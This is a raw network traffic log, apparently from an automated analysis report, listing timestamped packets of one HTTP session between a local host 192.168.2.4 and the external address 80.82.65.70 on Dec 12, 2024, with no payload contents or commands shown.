Dec 12, 2024 23:09:06.723937035 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.723975897 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.724025011 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.724061966 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.724769115 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.724808931 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.724895000 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.724937916 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.725605011 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.725649118 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.725724936 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.725773096 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.726499081 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.726543903 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.726612091 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.726655006 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.727405071 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.727448940 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.727518082 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.727557898 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.728262901 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.728311062 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.728486061 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.728569031 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.729157925 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.729202032 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.729262114 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.729300022 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.729926109 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.729965925 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.730077982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.730119944 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.730829000 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.730895042 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.730935097 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.730987072 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.731646061 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.731688023 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.731949091 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.731992960 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.732559919 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.732597113 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.732625008 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.732659101 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.733731985 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.733762026 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.733788013 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.733804941 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.734247923 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.734294891 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.734358072 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.734400034 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.735055923 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.735097885 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.735152006 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.735186100 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.735939026 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.735974073 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.736046076 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.736082077 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.736804008 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.736844063 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.736901999 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.736942053 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.737687111 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.737728119 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.737761974 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.737803936 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.738440990 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.738480091 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.841208935 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.841270924 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.841373920 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.841613054 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.841672897 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.841778994 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.842508078 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.842556000 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.842674017 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.842720985 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.843369961 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.843411922 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.843494892 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.843543053 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.844147921 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.844197035 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.844283104 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.844326019 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.845019102 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.845066071 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.845114946 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.845155001 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.845896006 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.845942974 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.845977068 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.846018076 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.846729994 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.846786976 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.846848965 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.846898079 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.847588062 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.847624063 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.847655058 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.847686052 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.848457098 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.848495007 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.848563910 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.848601103 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.849438906 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.849493980 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.849523067 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.849555016 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.850184917 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.850222111 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.850364923 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.850403070 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.851048946 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.851085901 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.851138115 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.851174116 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.851902962 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.851960897 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.851995945 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.852022886 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.852736950 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.852801085 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.852855921 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.852890968 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.853612900 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.853655100 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.853667974 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.853705883 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.854455948 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.854494095 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.854553938 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.854603052 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.855324030 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.855364084 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.855453968 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.855490923 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.856175900 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.856213093 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.856276989 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.856311083 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.857033968 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.857072115 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.857120037 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.857158899 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.857939959 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.857981920 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.858047009 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.858087063 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.858777046 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.858819008 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.858896971 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.858938932 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.859597921 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.859641075 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.859728098 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.859766960 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.860488892 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.860543013 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.860579967 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.860750914 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.861320019 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.861363888 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.861444950 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.861484051 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.862236977 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.862274885 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.862308025 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.862349033 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.863040924 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.863074064 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.863109112 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.863147974 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.908335924 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.908401966 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.908435106 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.908586979 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.908638954 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.908763885 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.908858061 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.908926010 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.908972025 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.909634113 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.909681082 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.909749031 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.909790993 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.910501957 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.910552025 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.910639048 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.910687923 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.911353111 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.911401987 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.911470890 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.911514997 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.912256002 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.912297964 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.912334919 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.912389994 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.913072109 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.913122892 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.913243055 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.913279057 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.913928986 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.914000988 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.914001942 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.914036036 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.914860964 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.914906979 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.914925098 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.914964914 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.915630102 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.915679932 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.915740013 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.915782928 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.916506052 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.916552067 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.916671991 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.916717052 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.917386055 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.917427063 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.917454958 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.917491913 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.918203115 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.918265104 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.918308020 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.919084072 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.919174910 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.919265985 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.919348001 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.919928074 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.919975042 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.920007944 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.920049906 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.920814991 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.920883894 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.920912027 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.920965910 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.921611071 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.921647072 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.921724081 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.921812057 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.922485113 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.922540903 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.922571898 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.922611952 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.923376083 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.923422098 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.923456907 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.923491001 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.924280882 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.924329042 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.924360037 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.924418926 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.925081968 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.925124884 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.925172091 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.925214052 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.925913095 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.926024914 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.926062107 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.926100969 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.926815987 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.926862955 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.926898956 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.926944017 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.927649975 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.927717924 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.927788973 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.927829981 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.928549051 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.928595066 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.928620100 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.928661108 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.929371119 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.929425955 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.929491043 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.929538012 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.930208921 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.930253029 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.033112049 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.033200026 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.033271074 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.033515930 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.033576012 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.033727884 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.033773899 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.034423113 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.034465075 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.034511089 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.034550905 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.035233021 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.035278082 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.035296917 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.035334110 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.036109924 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.036159039 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.036192894 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.036226034 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.036951065 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.037100077 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.037142992 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.037832975 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.037867069 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.037993908 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.038028002 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.038719893 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.038781881 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.038846970 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.039570093 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.039613008 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.039624929 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.039664984 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.040385008 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.040447950 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.040493965 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.041313887 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.041378021 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.041399956 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.041485071 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.042150021 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.042169094 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.042210102 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.042943001 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.042989016 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.043072939 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.043128014 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.043812037 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.043853045 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.043951988 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.043988943 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.044770956 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.044826984 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.044862032 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.045578003 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.045633078 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.045666933 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.045700073 CET	49744	80	192.168.2.4	80.82.65.70
